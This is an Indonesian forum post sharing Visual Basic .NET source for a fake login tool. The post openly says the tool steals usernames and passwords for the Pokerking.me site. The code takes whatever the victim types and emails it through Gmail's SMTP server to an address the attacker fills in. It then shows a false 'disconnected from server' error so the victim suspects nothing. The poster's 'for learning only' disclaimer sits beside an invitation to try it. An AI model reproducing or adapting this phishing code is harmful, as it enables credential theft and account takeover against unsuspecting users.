uzumady Admin
Jumlah posting : 44 ES Oyen : 0 Join date : 12.01.11 Lokasi : MAGREZZZZZZZZZZZ
| Subyek: Fake tools dari VB Fri Mar 04, 2011 8:04 am | |
| nih gan gw kasih tau trik seperti keyloger tapi jangan di salah gunakan ya untuk pembelajaran saja nih ss nya Ini Tool Untuk Mencuri Username Dan Password Pokerking.me Klu Ada Yang Mau Nyoba Silahkan... Ane Gak Tanggung Resikonya Yoo... Cekidot - Code:
-
Imports System.Net.Mail
If TextBox1.Text = "" Then MsgBox("Username Is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Mising") Else End If End If Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("Email Kamu", "Password Email Kamu") 'using gmail smtpServer.Port = 587 smtpServer.Host = "[color=yellow]smtp.gmail.com[/color]" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("Email Kamu") mail.To.Add("Email Kamu") mail.Subject = "Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text smtpServer.Send(mail) MsgBox("You Are Disconnected From The Server, Please Try Again", MsgBoxStyle.Critical, "ERROR!")
yang war na kuning bisa kalian ubah dengan email anda oke disini dulu jangan lupa | |
|